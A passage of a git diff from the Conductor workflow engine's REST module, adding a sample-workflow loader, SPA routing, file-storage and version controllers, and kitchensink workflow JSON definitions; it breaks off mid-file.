we can't fetch the sub-workflow, skip it + } + } + } + + return new BlockingTaskResult(blockingTasks, blockingWorkflow); + } + + /** Result of finding blocking tasks in a workflow hierarchy */ + private static class BlockingTaskResult { + final List blockingTasks; + final WorkflowModel blockingWorkflow; + + BlockingTaskResult(List blockingTasks, WorkflowModel blockingWorkflow) { + this.blockingTasks = blockingTasks; + this.blockingWorkflow = blockingWorkflow; + } + + boolean hasBlockingTasks() { + return blockingTasks != null && !blockingTasks.isEmpty(); + } + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/startup/KitchenSinkInitializer.java b/rest/src/main/java/com/netflix/conductor/rest/startup/KitchenSinkInitializer.java new file mode 100644 index 0000000..f84d453 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/startup/KitchenSinkInitializer.java @@ -0,0 +1,139 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.startup; + +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.context.event.ApplicationReadyEvent; +import org.springframework.boot.web.client.RestTemplateBuilder; +import org.springframework.context.event.EventListener; +import org.springframework.core.io.Resource; +import org.springframework.http.HttpEntity; +import org.springframework.stereotype.Component; +import org.springframework.util.FileCopyUtils; +import org.springframework.util.LinkedMultiValueMap; +import org.springframework.util.MultiValueMap; +import org.springframework.web.client.RestTemplate; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.exception.ConflictException; + +import static org.springframework.http.HttpHeaders.CONTENT_TYPE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +@Component +public class KitchenSinkInitializer { + + private static final Logger LOGGER = LoggerFactory.getLogger(KitchenSinkInitializer.class); + + private final RestTemplate restTemplate; + + @Value("${loadSample:false}") + private boolean loadSamples; + + @Value("${server.port:8080}") + private int port; + + @Value("classpath:./kitchensink/kitchensink.json") + private Resource kitchenSink; + + @Value("classpath:./kitchensink/sub_flow_1.json") + private Resource subFlow; + + @Value("classpath:./kitchensink/kitchenSink-ephemeralWorkflowWithStoredTasks.json") + private Resource ephemeralWorkflowWithStoredTasks; + + @Value("classpath:./kitchensink/kitchenSink-ephemeralWorkflowWithEphemeralTasks.json") + private Resource ephemeralWorkflowWithEphemeralTasks; + + public KitchenSinkInitializer(RestTemplateBuilder restTemplateBuilder) { + this.restTemplate = restTemplateBuilder.build(); + } + + @EventListener(ApplicationReadyEvent.class) + public void setupKitchenSink() { + try { + if (loadSamples) { + LOGGER.info("Loading Kitchen Sink examples"); + createKitchenSink(); + } + } catch (ConflictException ignored) { + // Already present in the system :) + } catch (Exception e) { + LOGGER.error("Error initializing kitchen sink {}", e.getMessage()); + } + } + + private void createKitchenSink() throws Exception { + List taskDefs = new LinkedList<>(); + TaskDef taskDef; + for (int i = 0; i < 40; i++) { + taskDef = new TaskDef("task_" + i, "task_" + i, 1, 0); + taskDef.setOwnerEmail("example@email.com"); + taskDefs.add(taskDef); + } + + taskDef = new TaskDef("search_elasticsearch", "search_elasticsearch", 1, 0); + taskDef.setOwnerEmail("example@email.com"); + taskDefs.add(taskDef); + + restTemplate.postForEntity(url("/api/metadata/taskdefs"), taskDefs, Object.class); + + /* + * Kitchensink example (stored workflow with stored tasks) + */ + MultiValueMap headers = new LinkedMultiValueMap<>(); + headers.add(CONTENT_TYPE, APPLICATION_JSON_VALUE); + HttpEntity request = new HttpEntity<>(readToString(kitchenSink), headers); + restTemplate.postForEntity(url("/api/metadata/workflow"), request, Map.class); + + request = new HttpEntity<>(readToString(subFlow), headers); + restTemplate.postForEntity(url("/api/metadata/workflow"), request, Map.class); + + restTemplate.postForEntity( + url("/api/workflow/kitchensink"), + Collections.singletonMap("task2Name", "task_5"), + String.class); + LOGGER.info("Kitchen sink workflow is created!"); + + /* + * Kitchensink example with ephemeral workflow and stored tasks + */ + request = new HttpEntity<>(readToString(ephemeralWorkflowWithStoredTasks), headers); + restTemplate.postForEntity(url("/api/workflow"), request, String.class); + LOGGER.info("Ephemeral Kitchen sink workflow with stored tasks is created!"); + + /* + * Kitchensink example with ephemeral workflow and ephemeral tasks + */ + request = new HttpEntity<>(readToString(ephemeralWorkflowWithEphemeralTasks), headers); + restTemplate.postForEntity(url("/api/workflow"), request, String.class); + LOGGER.info("Ephemeral Kitchen sink workflow with ephemeral tasks is created!"); + } + + private String readToString(Resource resource) throws IOException { + return FileCopyUtils.copyToString(new InputStreamReader(resource.getInputStream())); + } + + private String url(String path) { + return "http://localhost:" + port + path; + } +} diff --git a/rest/src/main/java/org/conductoross/conductor/RestConfiguration.java b/rest/src/main/java/org/conductoross/conductor/RestConfiguration.java new file mode 100644 index 0000000..80cb56d --- /dev/null +++ b/rest/src/main/java/org/conductoross/conductor/RestConfiguration.java @@ -0,0 +1,77 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor; + +import java.util.Optional; + +import org.springframework.context.annotation.Configuration; +import org.springframework.core.Ordered; +import org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +import lombok.extern.slf4j.Slf4j; + +import static org.springframework.http.MediaType.APPLICATION_JSON; +import static org.springframework.http.MediaType.APPLICATION_OCTET_STREAM; +import static org.springframework.http.MediaType.TEXT_PLAIN; + +@Configuration +@Slf4j +public class RestConfiguration implements WebMvcConfigurer { + + private final SpaInterceptor spaInterceptor; + + public RestConfiguration(Optional spaInterceptor) { + this.spaInterceptor = spaInterceptor.orElse(null); + log.info("spaInterceptor: {}", spaInterceptor); + } + + @Override + public void configureContentNegotiation(ContentNegotiationConfigurer configurer) { + configurer + .favorParameter(false) + .favorPathExtension(false) + .ignoreAcceptHeader(true) + .defaultContentType(APPLICATION_JSON, TEXT_PLAIN, APPLICATION_OCTET_STREAM); + } + + @Override + public void addInterceptors(InterceptorRegistry registry) { + if (spaInterceptor != null) { + registry.addInterceptor(spaInterceptor) + .excludePathPatterns("/api/**") + .excludePathPatterns("/actuator") + .excludePathPatterns("/actuator/**") + .excludePathPatterns("/health") + .excludePathPatterns("/health/**") + .excludePathPatterns("/api-docs") + .excludePathPatterns("/api-docs/**") + .excludePathPatterns("/v3/api-docs") + .excludePathPatterns("/v3/api-docs/**") + .excludePathPatterns("/swagger-ui") + .excludePathPatterns("/swagger-ui/**") + .order(Ordered.HIGHEST_PRECEDENCE); + } + } + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + if (spaInterceptor != null) { + log.info("Serving static resources"); + registry.addResourceHandler("/static/ui/**") + .addResourceLocations("classpath:/static/ui/"); + } + } +} diff --git a/rest/src/main/java/org/conductoross/conductor/SpaInterceptor.java b/rest/src/main/java/org/conductoross/conductor/SpaInterceptor.java new file mode 100644 index 0000000..8420ed0 --- /dev/null +++ b/rest/src/main/java/org/conductoross/conductor/SpaInterceptor.java @@ -0,0 +1,75 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; +import org.springframework.web.servlet.HandlerInterceptor; + +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import lombok.extern.slf4j.Slf4j; + +@Component +@Slf4j +@ConditionalOnProperty( + value = "conductor.enable.ui.serving", + havingValue = "true", + matchIfMissing = true) +public class SpaInterceptor implements HandlerInterceptor { + + /** + * A2A server base path — backend JSON-RPC, never an SPA route (see {@code + * A2AServerProperties}). + */ + @Value("${conductor.a2a.server.basePath:/a2a}") + private String a2aBasePath; + + public SpaInterceptor() { + log.info("Serving UI on /"); + } + + @Override + public boolean preHandle( + HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + // The SPA fallback exists for browser navigation, which is always GET. Forwarding any + // other method to index.html turns a backend POST/PUT/etc. on an unmatched path into a + // misleading "method not supported" on the static page — so only GET is ever rewritten. + if (!"GET".equalsIgnoreCase(request.getMethod())) { + return true; + } + + String path = request.getRequestURI(); + log.debug("Service SPA page {}", path); + + // Skip backend APIs, OpenAPI docs, health endpoints, A2A server, and static resources. + if (path.startsWith("/api/") + || path.startsWith("/api-docs") + || path.startsWith("/v3/api-docs") + || path.startsWith("/swagger-ui") + || path.startsWith("/actuator") + || path.startsWith("/health") + || path.equals(a2aBasePath) + || path.startsWith(a2aBasePath + "/") + || path.equals("/error") + || path.contains(".")) { + return true; + } + + // Forward to index.html + request.getRequestDispatcher("/index.html").forward(request, response); + return false; + } +} diff --git a/rest/src/main/java/org/conductoross/conductor/controllers/FileResource.java b/rest/src/main/java/org/conductoross/conductor/controllers/FileResource.java new file mode 100644 index 0000000..080c49c --- /dev/null +++ b/rest/src/main/java/org/conductoross/conductor/controllers/FileResource.java @@ -0,0 +1,97 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.controllers; + +import org.conductoross.conductor.core.storage.FileStorageService; +import org.conductoross.conductor.model.file.*; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.*; + +import io.swagger.v3.oas.annotations.Operation; +import jakarta.validation.Valid; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.FILES; + +/** + * REST controller for the file-storage feature. Gated by {@code conductor.file-storage.enabled}. + * Path variables carry the bare {@code fileId}; request/response bodies carry the prefixed {@code + * fileHandleId} via their DTO fields. + */ +@RestController +@RequestMapping(FILES) +@ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") +public class FileResource { + + private final FileStorageService fileStorageService; + + public FileResource(FileStorageService fileStorageService) { + this.fileStorageService = fileStorageService; + } + + @PostMapping + @ResponseStatus(HttpStatus.CREATED) + @Operation(summary = "Create a file record and get upload URL") + public FileUploadResponse createFile(@Valid @RequestBody FileUploadRequest request) { + return fileStorageService.createFile(request); + } + + @GetMapping("/{fileId}/upload-url") + @Operation(summary = "Get presigned upload URL") + public FileUploadUrlResponse getUploadUrl(@PathVariable("fileId") String fileId) { + return fileStorageService.getUploadUrl(fileId); + } + + @PostMapping("/{fileId}/upload-complete") + @Operation(summary = "Confirm file upload completion") + public FileUploadCompleteResponse confirmUpload(@PathVariable("fileId") String fileId) { + return fileStorageService.confirmUpload(fileId); + } + + @GetMapping("/{workflowId}/{fileId}/download-url") + @Operation(summary = "Get presigned download URL") + public FileDownloadUrlResponse getDownloadUrl( + @PathVariable("workflowId") String workflowId, @PathVariable("fileId") String fileId) { + return fileStorageService.getDownloadUrl(fileId, workflowId); + } + + @GetMapping("/{fileId}") + @Operation(summary = "Get file metadata") + public FileHandle getFileMetadata(@PathVariable("fileId") String fileId) { + return fileStorageService.getFileMetadata(fileId); + } + + @PostMapping("/{fileId}/multipart") + @Operation(summary = "Initiate multipart upload") + public MultipartInitResponse initiateMultipartUpload(@PathVariable("fileId") String fileId) { + return fileStorageService.initiateMultipartUpload(fileId); + } + + @GetMapping("/{fileId}/multipart/{uploadId}/part/{partNumber}") + @Operation(summary = "Get presigned URL for a multipart part (S3 only)") + public FileUploadUrlResponse getPartUploadUrl( + @PathVariable("fileId") String fileId, + @PathVariable("uploadId") String uploadId, + @PathVariable("partNumber") int partNumber) { + return fileStorageService.getPartUploadUrl(fileId, uploadId, partNumber); + } + + @PostMapping("/{fileId}/multipart/{uploadId}/complete") + @Operation(summary = "Complete multipart upload") + public FileUploadCompleteResponse completeMultipartUpload( + @PathVariable("fileId") String fileId, + @PathVariable("uploadId") String uploadId, + @RequestBody MultipartCompleteRequest request) { + return fileStorageService.completeMultipartUpload(fileId, uploadId, request.getPartETags()); + } +} diff --git a/rest/src/main/java/org/conductoross/conductor/controllers/VersionResource.java b/rest/src/main/java/org/conductoross/conductor/controllers/VersionResource.java new file mode 100644 index 0000000..08e480b --- /dev/null +++ b/rest/src/main/java/org/conductoross/conductor/controllers/VersionResource.java @@ -0,0 +1,40 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.controllers; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.service.VersionService; + +import io.swagger.v3.oas.annotations.Hidden; +import io.swagger.v3.oas.annotations.Operation; +import lombok.RequiredArgsConstructor; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.VERSION; + +import static org.springframework.http.MediaType.TEXT_PLAIN_VALUE; + +@RestController +@RequiredArgsConstructor +@Hidden +public class VersionResource { + + private final VersionService versionService; + + @GetMapping(value = VERSION, produces = TEXT_PLAIN_VALUE) + @Operation(summary = "Get the server's version") + public String getVersion() { + return versionService.getVersion(); + } +} diff --git a/rest/src/main/resources/kitchensink/kitchenSink-ephemeralWorkflowWithEphemeralTasks.json b/rest/src/main/resources/kitchensink/kitchenSink-ephemeralWorkflowWithEphemeralTasks.json new file mode 100644 index 0000000..d7f3000 --- /dev/null +++ b/rest/src/main/resources/kitchensink/kitchenSink-ephemeralWorkflowWithEphemeralTasks.json @@ -0,0 +1,258 @@ +{ + "name": "kitchenSink-ephemeralWorkflowWithEphemeralTasks", + "workflowDef": { + "name": "ephemeralKitchenSinkEphemeralTasks", + "description": "Kitchensink ephemeral workflow with ephemeral tasks", + "version": 1, + "tasks": [ + { + "name": "task_10001", + "taskReferenceName": "task_10001", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "SIMPLE", + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "task_10001", + "description": "task_10001", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }, + { + "name": "event_task", + "taskReferenceName": "event_0", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "EVENT", + "sink": "conductor" + }, + { + "name": "dyntask", + "taskReferenceName": "task_2", + "inputParameters": { + "taskToExecute": "${workflow.input.task2Name}" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute" + }, + { + "name": "oddEvenDecision", + "taskReferenceName": "oddEvenDecision", + "inputParameters": { + "oddEven": "${task_2.output.oddEven}" + }, + "type": "DECISION", + "caseValueParam": "oddEven", + "decisionCases": { + "0": [ + { + "name": "task_10004", + "taskReferenceName": "task_10004", + "inputParameters": { + "mod": "${task_2.output.mod}", + "oddEven": "${task_2.output.oddEven}" + }, + "type": "SIMPLE", + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "task_10004", + "description": "task_10004", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }, + { + "name": "dynamic_fanout", + "taskReferenceName": "fanout1", + "inputParameters": { + "dynamicTasks": "${task_10004.output.dynamicTasks}", + "input": "${task_10004.output.inputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "input" + }, + { + "name": "dynamic_join", + "taskReferenceName": "join1", + "type": "JOIN" + } + ], + "1": [ + { + "name": "fork_join", + "taskReferenceName": "forkx", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "task_100010", + "taskReferenceName": "task_100010", + "type": "SIMPLE", + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "task_100010", + "description": "task_100010", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "${task_10001.output.mod}", + "oddEven": "${task_10001.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + [ + { + "name": "task_100011", + "taskReferenceName": "task_100011", + "type": "SIMPLE", + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "task_100011", + "description": "task_100011", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "${task_10001.output.mod}", + "oddEven": "${task_10001.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ] + ] + }, + { + "name": "join", + "taskReferenceName": "join2", + "type": "JOIN", + "joinOn": [ + "wf3", + "wf4" + ] + } + ] + } + }, + { + "name": "search_elasticsearch", + "taskReferenceName": "get_es_1", + "inputParameters": { + "http_request": { + "uri": "http://localhost:9200/conductor/_search?size=10", + "method": "GET" + } + }, + "type": "HTTP" + }, + { + "name": "task_100030", + "taskReferenceName": "task_100030", + "inputParameters": { + "statuses": "${get_es_1.output..status}", + "workflowIds": "${get_es_1.output..workflowId}" + }, + "type": "SIMPLE", + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "task_100030", + "description": "task_100030", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + } + ], + "outputParameters": { + "statues": "${get_es_1.output..status}", + "workflowIds": "${get_es_1.output..workflowId}" + }, + "schemaVersion": 2, + "ownerEmail": "example@email.com" + }, + "input": { + "task2Name": "task_10005" + } +} diff --git a/rest/src/main/resources/kitchensink/kitchenSink-ephemeralWorkflowWithStoredTasks.json b/rest/src/main/resources/kitchensink/kitchenSink-ephemeralWorkflowWithStoredTasks.json new file mode 100644 index 0000000..4392f74 --- /dev/null +++ b/rest/src/main/resources/kitchensink/kitchenSink-ephemeralWorkflowWithStoredTasks.json @@ -0,0 +1,163 @@ +{ + "name": "kitchenSink-ephemeralWorkflowWithStoredTasks", + "workflowDef": { + "name": "ephemeralKitchenSinkStoredTasks", + "description": "kitchensink workflow definition", + "version": 1, + "tasks": [ + { + "name": "task_1", + "taskReferenceName": "task_1", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "SIMPLE" + }, + { + "name": "event_task", + "taskReferenceName": "event_0", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "EVENT", + "sink": "conductor" + }, + { + "name": "dyntask", + "taskReferenceName": "task_2", + "inputParameters": { + "taskToExecute": "${workflow.input.task2Name}" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute" + }, + { + "name": "oddEvenDecision", + "taskReferenceName": "oddEvenDecision", + "inputParameters": { + "oddEven": "${task_2.output.oddEven}" + }, + "type": "DECISION", + "caseValueParam": "oddEven", + "decisionCases": { + "0": [ + { + "name": "task_4", + "taskReferenceName": "task_4", + "inputParameters": { + "mod": "${task_2.output.mod}", + "oddEven": "${task_2.output.oddEven}" + }, + "type": "SIMPLE" + }, + { + "name": "dynamic_fanout", + "taskReferenceName": "fanout1", + "inputParameters": { + "dynamicTasks": "${task_4.output.dynamicTasks}", + "input": "${task_4.output.inputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "input" + }, + { + "name": "dynamic_join", + "taskReferenceName": "join1", + "type": "JOIN" + } + ], + "1": [ + { + "name": "fork_join", + "taskReferenceName": "forkx", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "task_10", + "taskReferenceName": "task_10", + "type": "SIMPLE" + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "${task_1.output.mod}", + "oddEven": "${task_1.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + [ + { + "name": "task_11", + "taskReferenceName": "task_11", + "type": "SIMPLE" + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "${task_1.output.mod}", + "oddEven": "${task_1.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ] + ] + }, + { + "name": "join", + "taskReferenceName": "join2", + "type": "JOIN", + "joinOn": [ + "wf3", + "wf4" + ] + } + ] + } + }, + { + "name": "search_elasticsearch", + "taskReferenceName": "get_es_1", + "inputParameters": { + "http_request": { + "uri": "http://localhost:9200/conductor/_search?size=10", + "method": "GET" + } + }, + "type": "HTTP" + }, + { + "name": "task_30", + "taskReferenceName": "task_30", + "inputParameters": { + "statuses": "${get_es_1.output..status}", + "workflowIds": "${get_es_1.output..workflowId}" + }, + "type": "SIMPLE" + } + ], + "outputParameters": { + "statues": "${get_es_1.output..status}", + "workflowIds": "${get_es_1.output..workflowId}" + }, + "schemaVersion": 2, + "ownerEmail": "example@email.com" + }, + "input": { + "task2Name": "task_5" + } +} diff --git a/rest/src/main/resources/kitchensink/kitchensink.json b/rest/src/main/resources/kitchensink/kitchensink.json new file mode 100644 index 0000000..2b74589 --- /dev/null +++ b/rest/src/main/resources/kitchensink/kitchensink.json @@ -0,0 +1,157 @@ +{ + "name": "kitchensink", + "description": "kitchensink workflow", + "version": 1, + "tasks": [ + { + "name": "task_1", + "taskReferenceName": "task_1", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "SIMPLE" + }, + { + "name": "event_task", + "taskReferenceName": "event_0", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "EVENT", + "sink": "conductor" + }, + { + "name": "dyntask", + "taskReferenceName": "task_2", + "inputParameters": { + "taskToExecute": "${workflow.input.task2Name}" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute" + }, + { + "name": "oddEvenDecision", + "taskReferenceName": "oddEvenDecision", + "inputParameters": { + "oddEven": "${task_2.output.oddEven}" + }, + "type": "DECISION", + "caseValueParam": "oddEven", + "decisionCases": { + "0": [ + { + "name": "task_4", + "taskReferenceName": "task_4", + "inputParameters": { + "mod": "${task_2.output.mod}", + "oddEven": "${task_2.output.oddEven}" + }, + "type": "SIMPLE" + }, + { + "name": "dynamic_fanout", + "taskReferenceName": "fanout1", + "inputParameters": { + "dynamicTasks": "${task_4.output.dynamicTasks}", + "input": "${task_4.output.inputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "input" + }, + { + "name": "dynamic_join", + "taskReferenceName": "join1", + "type": "JOIN" + } + ], + "1": [ + { + "name": "fork_join", + "taskReferenceName": "forkx", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "task_10", + "taskReferenceName": "task_10", + "type": "SIMPLE" + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "${task_1.output.mod}", + "oddEven": "${task_1.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + [ + { + "name": "task_11", + "taskReferenceName": "task_11", + "type": "SIMPLE" + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "${task_1.output.mod}", + "oddEven": "${task_1.output.oddEven}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ] + ] + }, + { + "name": "join", + "taskReferenceName": "join2", + "type": "JOIN", + "joinOn": [ + "wf3", + "wf4" + ] + } + ] + } + }, + { + "name": "search_elasticsearch", + "taskReferenceName": "get_es_1", + "inputParameters": { + "http_request": { + "uri": "http://localhost:9200/conductor/_search?size=10", + "method": "GET" + } + }, + "type": "HTTP" + }, + { + "name": "task_30", + "taskReferenceName": "task_30", + "inputParameters": { + "statuses": "${get_es_1.output..status}", + "workflowIds": "${get_es_1.output..workflowId}" + }, + "type": "SIMPLE" + } + ], + "outputParameters": { + "statues": "${get_es_1.output..status}", + "workflowIds": "${get_es_1.output..workflowId}" + }, + "ownerEmail": "example@email.com", + "schemaVersion": 2 +} diff --git a/rest/src/main/resources/kitchensink/sub_flow_1.json b/rest/src/main/resources/kitchensink/sub_flow_1.json new file mode 100644 index 0000000..4b3dd81 --- /dev/null +++ b/rest/src/main/resources/kitchensink/sub_flow_1.json @@ -0,0 +1,21 @@ +{ + "name": "sub_flow_1", + "description": "A Simple sub-workflow with 2 tasks", + "version": 1, + "tasks": [ + { + "name": "task_5", + "taskReferenceName": "task_5", + "inputParameters": {}, + "type": "SIMPLE" + }, + { + "name": "task_6", + "taskReferenceName": "task_6", + "type": "SIMPLE" + } + ], + "outputParameters": {}, + "schemaVersion": 2, + "ownerEmail": "example@email.com" +} \ No newline at end of file diff --git a/rest/src/main/resources/kitchensink/wf1.json b/rest/src/main/resources/kitchensink/wf1.json new file mode 100644 index 0000000..7684c1f --- /dev/null +++ b/rest/src/main/resources/kitchensink/wf1.json @@ -0,0 +1,372 @@ +{ + "createTime": 1477681181098, + "updateTime": 1478835878290, + "name": "main_workflow", + "description": "Kitchensink workflow", + "version": 1, + "tasks": [ + { + "name": "task_1", + "taskReferenceName": "task_1", + "inputParameters": { + "mod": "workflow.input.mod", + "oddEven": "workflow.input.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "dyntask", + "taskReferenceName": "task_2", + "inputParameters": { + "taskToExecute": "workflow.input.task2Name" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_3", + "taskReferenceName": "task_3", + "inputParameters": { + "mod": "task_2.output.mod", + "oddEven": "task_2.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "oddEvenDecision", + "taskReferenceName": "oddEvenDecision", + "inputParameters": { + "oddEven": "task_3.output.oddEven" + }, + "type": "DECISION", + "caseValueParam": "oddEven", + "decisionCases": { + "0": [ + { + "name": "task_4", + "taskReferenceName": "task_4", + "inputParameters": { + "mod": "task_3.output.mod", + "oddEven": "task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "dynamic_fanout", + "taskReferenceName": "fanout1", + "inputParameters": { + "dynamicTasks": "task_4.output.dynamicTasks", + "input": "task_4.output.inputs" + }, + "type": "FORK_JOIN_DYNAMIC", + 